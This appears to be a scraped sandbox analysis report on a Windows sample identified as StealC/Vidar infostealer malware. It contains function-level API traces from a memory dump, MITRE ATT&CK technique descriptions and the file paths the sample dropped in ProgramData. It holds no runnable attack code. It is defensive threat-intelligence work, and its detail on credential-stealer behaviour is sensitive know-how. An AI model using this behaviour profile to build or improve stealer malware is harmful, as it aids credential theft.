Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAKEBFBAKKFCBGDHDGHDBAFIIE

C:\ProgramData\DAECAECFCAAEBFHIEHDG

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

C:\ProgramData\ECAFHDBG

C:\ProgramData\IECFIEGDBKJKFIDHIECG

C:\ProgramData\IJEHCGIJ

C:\ProgramData\JKJKKKJJJKJKFHJJJJEC

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre